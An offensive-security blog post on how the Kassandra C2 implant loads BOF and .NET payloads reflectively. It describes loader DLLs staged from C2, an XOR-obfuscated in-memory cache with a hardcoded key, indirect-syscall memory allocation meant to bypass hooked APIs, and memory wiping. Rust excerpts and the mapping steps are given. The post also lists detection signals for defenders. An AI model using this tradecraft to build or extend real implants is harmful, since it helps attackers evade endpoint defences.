---
title: "Reflective Loading in Kassandra: BOF and .NET Without Subprocess Workers"
description: "How Kassandra replaced the BOF/.NET subprocess model with staged loader DLLs, XOR-encrypted in-memory cache, a custom PE reflective mapper using CallGhost syscalls, and mem wipe after execution. Python still uses an isolated worker."
date: 2026-07-23
category: "Offensive Security"
tags: ["rust", "c2", "mythic", "reflective-loading", "bof", "dotnet", "in-memory"]
---

This post covers Kassandra's switch from subprocess-isolated BOF and .NET execution to **reflective in-process loading**. The earlier [in-memory execution post](/blog/kassandra-in-memory-execution) documents the subprocess worker model (`--worker-bof` / `--worker-dot`). That path is gone for BOF and .NET. Loader code no longer ships inside the implant binary. The agent downloads standalone `bof_loader.dll` / `dot_loader.dll` from C2, caches them XOR-encrypted, maps them with a custom reflective PE loader, calls exported entrypoints, then wipes and frees the mapped image. Python still uses a disposable `--worker-py` subprocess.

## Why Leave the Subprocess Model

The subprocess design solved a real problem: a crashing BOF or misbehaving CLR host would not kill the agent. The cost was OPSEC and footprint.

1. **Child process creation is noisy.** Spawning `self --worker-bof` creates a new process with a clear parent-child relationship, command-line arguments, and a short-lived image that looks like the implant binary [1].
2. **Loader logic lived in the agent.** BOF COFF loading and CLR hosting were linked into the main binary, increasing size and giving static analysis more high-value code to signature.
3. **stdin/stdout IPC carried full payloads.** Base64-encoded file bytes crossed process boundaries on every execution.

The reflective design inverts those tradeoffs. BOF and .NET run in the agent process. Isolation is weaker: a bad payload can crash the implant. In exchange, there is no worker process, loaders are staged from C2 when needed, and the agent binary no longer embeds coffee-ldr or CLR hosting.

**Python remains a subprocess** (`--worker-py`) because it still shells out to an external interpreter model that does not fit the reflective DLL pattern used for BOF/.NET.

## Architecture Overview

```
loadLoader (optional)  or  on-demand loader_file_id on execute
        │
        ▼
  download DLL bytes from Mythic
        │
        ▼
  loader_cache: XOR-encrypt and store in process memory
        │
        ▼
  executeBOF / executeDOT
        │
        ├─ download payload (BOF object or .NET assembly)
        ├─ loader_cache::get → decrypt DLL
        ├─ reflective_loader::load (NtAllocate / map / reloc / imports / DllMain)
        ├─ wipe decrypted DLL buffer
        ├─ call export: execute_bof / execute_dot
        ├─ wipe payload + output buffers
        └─ module.unload → DllMain detach, RtlDeleteFunctionTable, wipe_and_free
```

Two standalone crates live under `loaders/` and are built in Docker to `/opt/loaders/`:

| DLL | Export | Role |
| --- | --- | --- |
| `bof_loader.dll` | `execute_bof` | COFF/BOF object load and `go` entry |
| `dot_loader.dll` | `execute_dot` | In-memory .NET via rustclr |

The agent never links those crates. It only knows how to map a PE and call a function pointer by export name.

## XOR Cache: Loaders Stay Encrypted at Rest in Memory

`loader_cache.rs` holds two process-global buffers, one for BOF and one for .NET. On store, raw DLL bytes are XOR'd with a 32-byte key. On get, the same XOR produces a temporary decrypted copy for the reflective mapper:

```rust
// From: kassandra/src/loader_cache.rs
const LOADER_KEY: &[u8; 32] = b"\x4b\x61\x73\x73\x41\x6e\x44\x72\x61\x4c\x6f\x41\x64\x45\x72\x4b\x33\x79\x5f\x52\x30\x74\x41\x74\x31\x6f\x4e\x5f\x32\x30\x32\x36";

fn xor_with_key(data: &[u8]) -> Vec<u8> {
    data.iter()
        .enumerate()
        .map(|(i, b)| b ^ LOADER_KEY[i % LOADER_KEY.len()])
        .collect()
}

pub fn store(kind: &LoaderKind, raw_bytes: Vec<u8>) {
    let encrypted = xor_with_key(&raw_bytes);
    let cache = cache_for(kind);
    let mut data = cache.write().unwrap();
    *data = encrypted;
}

pub fn get(kind: &LoaderKind) -> Result<Vec<u8>, &'static str> {
    let cache = cache_for(kind);
    let data = cache.read().unwrap();
    if data.is_empty() {
        return Err("loader not cached");
    }
    Ok(xor_with_key(&data))
}
```

This is not strong cryptography. It is a lightweight at-rest obfuscation so a casual memory scan is less likely to see a clean PE header sitting in a heap buffer between tasks. After `reflective_loader::load` succeeds, `executeBOF` immediately wipes the decrypted DLL buffer with `mem_wipe::wipe` before calling the export.

## Staging: loadLoader and On-Demand loader_file_id

Operators can pre-stage loaders for temporal separation (download loaders in one task, execute payloads later):

```rust
// From: kassandra/src/features/loadLoader.rs
pub fn loadLoader(task: &Value) -> Result<(), Box<dyn std::error::Error>> {
    // ...
    if !params.bof_loader_file_id.is_empty() {
        crate::helpers::churn("bof_loader");
        let bytes = download_file(id, &params.bof_loader_file_id)?;
        crate::loader_cache::store(&crate::loader_cache::LoaderKind::Bof, bytes);
        staged.push("bof");
    }
    // same pattern for dot_loader_file_id
```

If the cache is empty when `executeBOF` / `executeDOT` runs, the task parameters may still include `loader_file_id`. The execute handlers download that file once, store it in the cache, then proceed. If neither path has populated the cache, the task fails with a clear operator message: run `loadLoader` first.

## executeBOF: Map, Call, Wipe

After the BOF object and loader DLL are available, execution is a tight unsafe block:

```rust
// From: kassandra/src/features/executeBOF.rs
    let (output, status) = unsafe {
        let module = crate::reflective_loader::load(&loader_dll)
            .map_err(|e| -> Box<dyn std::error::Error> { e.into() })?;

        crate::mem_wipe::wipe(loader_dll.as_ptr() as *mut u8, loader_dll.len());

        let execute_fn = module.get_export("execute_bof")
            .ok_or("execute_bof export not found")?;

        type ExecuteBofFn = unsafe extern "C" fn(
            *const u8, usize, *const u8, usize, *mut *mut u8, *mut usize
        ) -> i32;
        let execute: ExecuteBofFn = core::mem::transmute(execute_fn);

        let mut out_ptr: *mut u8 = std::ptr::null_mut();
        let mut out_len: usize = 0;

        let ret = execute(
            file_bytes.as_ptr(), file_bytes.len(),
            args_ptr, args_len,
            &mut out_ptr, &mut out_len,
        );

        // copy output, wipe out_ptr, unload module, wipe payload/args
        // ...
    };
```

Beacon-style arguments are still packed with `beacon_pack::pack_args` on the agent side (typed prefixes such as `int:`, `str:`, `wstr:`). The loader receives a raw argument buffer, not a JSON worker message.

`executeDOT` is the same shape with export `execute_dot` and whitespace-split string args for the assembly entrypoint.

## Loader DLL Contracts

The BOF loader exposes a single C ABI export. It builds an `ObjectLoader` over the COFF bytes, runs entry `"go"`, and returns output via caller-owned pointer/length:

```rust
// From: loaders/bof-loader/src/lib.rs
#[no_mangle]
pub unsafe extern "C" fn execute_bof(
    bof: *const u8,
    bof_len: usize,
    args: *const u8,
    args_len: usize,
    out: *mut *mut u8,
    out_len: *mut usize,
) -> i32 {
    // ObjectLoader::new → execute(..., "go") → forget output Vec, hand ptr/len back
    // return 0 on success
}
```

The .NET loader uses `rustclr` to host CLR v4 in memory, optional args, and captured output:

```rust
// From: loaders/dot-loader/src/lib.rs
#[no_mangle]
pub unsafe extern "C" fn execute_dot(
    asm: *const u8,
    asm_len: usize,
    args: *const u8,
    args_len: usize,
    out: *mut *mut u8,
    out_len: *mut usize,
) -> i32 {
    // RustClr::new(asm_bytes).with_runtime_version(V4).with_output()...
}
```

Because these DLLs are separate artifacts, the agent binary no longer needs coffee-ldr or CLR crates as direct dependencies for execution. That shrinks and simplifies the implant surface relative to the old linked-in worker design.

## The Reflective Mapper

`reflective_loader.rs` is a manual PE mapper for x86_64 DLLs. It does not call `LoadLibrary` on a file path. It allocates RW memory, copies headers and sections, applies base relocations, resolves imports, registers the exception table, initializes the security cookie, flips the image to RWX, runs TLS callbacks, then calls **DllMain** with `DLL_PROCESS_ATTACH` [2][3].

### Allocation via CallGhost, Not VirtualAlloc

Memory primitives go through `nt_mem`, which issues **NtAllocateVirtualMemory**, **NtProtectVirtualMemory**, and **NtFreeVirtualMemory** as CallGhost indirect syscalls. The reflective path therefore does not depend on hooked `kernel32!VirtualAlloc` / `VirtualProtect` stubs for the bulk mapping work [4]:

```rust
// From: kassandra/src/nt_mem.rs
pub unsafe fn allocate(size: usize, protect: u32) -> Option<*mut u8> {
    let mut base: *mut c_void = core::ptr::null_mut();
    let mut region_size = size;
    let status = syscall!(
        indirect,
        NtAllocateVirtualMemory,
        CURRENT_PROCESS,
        &mut base,
        0usize,
        &mut region_size,
        MEM_COMMIT | MEM_RESERVE,
        protect
    );
    // ...
}
```

Import resolution still uses **LoadLibraryA** / **GetProcAddress** for dependency DLLs. Exception tables use **RtlAddFunctionTable** / **RtlDeleteFunctionTable** so SEH/unwind works for code in the mapped image [5].

### Mapping Steps

1. Validate DOS `MZ` and PE signature, read `SizeOfImage`, section table, entry RVA.
2. `nt_mem::allocate(SizeOfImage, PAGE_READWRITE)`.
3. Copy headers and section raw data to virtual addresses.
4. Process base relocations (types 10 / 3 / 0) when the preferred `ImageBase` differs from the allocated base; patch the mapped `ImageBase` field so CRT startup does not double-relocate [2].
5. Zero the bound import directory entry so the mapped image does not try to use bound imports against a different base.
6. Walk the import directory; fill the IAT via `GetProcAddress` (name or ordinal).
7. Register `.pdata` via `RtlAddFunctionTable` when present.
8. Seed `/GS` security cookie from `rdtsc` when the load config directory provides a cookie VA.
9. `nt_mem::protect(..., PAGE_EXECUTE_READWRITE)` for the whole image so CRT lazy init and loader code can run without fine-grained section permission dances.
10. Run TLS callbacks with `DLL_PROCESS_ATTACH`, then call `DllMain`.

Between several of those stages the mapper calls `helpers::churn` with size/section/delta values so BusyWork light noise is interleaved with mapping work (see the [BusyWork integration post](/blog/kassandra-busywork-integration)).

### Unload Path

`MappedModule::unload` reverses the attach sequence:

```rust
// From: kassandra/src/reflective_loader.rs
    pub unsafe fn unload(self) {
        if let Some(entry) = self.entry_point {
            entry(self.base as *mut c_void, 0, ptr::null_mut()); // DLL_PROCESS_DETACH
        }
        if !self.exception_table.is_null() {
            RtlDeleteFunctionTable(self.exception_table);
        }
        mem_wipe::wipe_and_free(self.base, self.size);
    }
```

`mem_wipe::wipe` uses volatile byte stores so the compiler cannot elide the zeroing. `wipe_and_free` then frees via `NtFreeVirtualMemory`. Payload buffers and output allocations from the loader are wiped the same way after the export returns.

## What Changed Relative to the Subprocess Post

| Concern | Old (`--worker-bof` / `--worker-dot`) | Current reflective path |
| --- | --- | --- |
| Crash isolation | Child process dies; agent lives | Payload runs in agent address space |
| Loader location | Linked into agent | Separate DLLs staged from C2 |
| Execution surface | New process + cmdline | In-process mapped PE |
| IPC | JSON over stdin/stdout | Direct pointers into agent buffers |
| Cleanup | Process exit frees everything | Explicit wipe + unmap |
| Python | `--worker-py` | Still `--worker-py` |

The main entrypoint no longer branches on `--worker-bof` or `--worker-dot`. Only `--worker-py` remains.

## Limitations

**In-process execution can kill the implant.** A null pointer in a BOF or a hard CLR failure is no longer isolated. That is the primary operational cost of the redesign.

**Whole-image RWX is a detection signal.** The mapper sets `PAGE_EXECUTE_READWRITE` for the entire `SizeOfImage` to avoid brittle per-section permission games with CRT init. EDR and memory scanners look for large RWX regions [6]. A more polished loader would apply per-section protections (RX for code, RW for data) after initialization.

**Import resolution still touches LoadLibraryA/GetProcAddress.** Those calls can be hooked. Allocation and protection use syscalls; dependency loading does not.

**XOR cache key is fixed in the binary.** It defeats naive string/PE header greps, not a determined memory forensic pass that knows the scheme.

**Reflective PE loading is a well-studied technique.** Mapping a DLL from a byte buffer, fixing relocations, and calling DllMain is the same family of behavior as classic reflective loaders [7]. Novelty here is the agent architecture (staged loaders, wipe discipline, CallGhost-backed primitives), not the PE format walk itself.

**Python is still a process spawn.** Defenders watching for child processes will still see activity when `executePY` runs.

## Design Tradeoff Summary

Kassandra chose staged, wiped, reflective loaders over crash-safe subprocesses for BOF and .NET. The implant gets a smaller static surface (no embedded BOF/CLR engines), no worker process creation for those payload types, and temporal control over when loader DLLs land on the host via C2. Operators who need isolation for untrusted tooling must accept that BOF/.NET failures can take the callback with them, or keep high-risk work on Python / other out-of-process channels.

---

*Drafted with LLM assistance from the [Kassandra](https://github.com/PatchRequest/Kassandra) source code, reviewed and verified against the actual implementation.*

## References

[1] Microsoft, "Process Creation," Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/procthread/about-processes-and-threads

[2] Microsoft, "PE Format," Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/debug/pe-format

[3] Microsoft, "DllMain entry point," Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain

[4] PatchRequest, "CallGhost," GitHub. https://github.com/PatchRequest/CallGhost

[5] Microsoft, "RtlAddFunctionTable function," Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtladdfunctiontable

[6] Microsoft, "Memory Protection Constants," Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

[7] Stephen Fewer, "Reflective DLL Injection," GitHub. https://github.com/stephenfewer/ReflectiveDLLInjection

[8] PatchRequest, "Kassandra," GitHub. https://github.com/PatchRequest/Kassandra
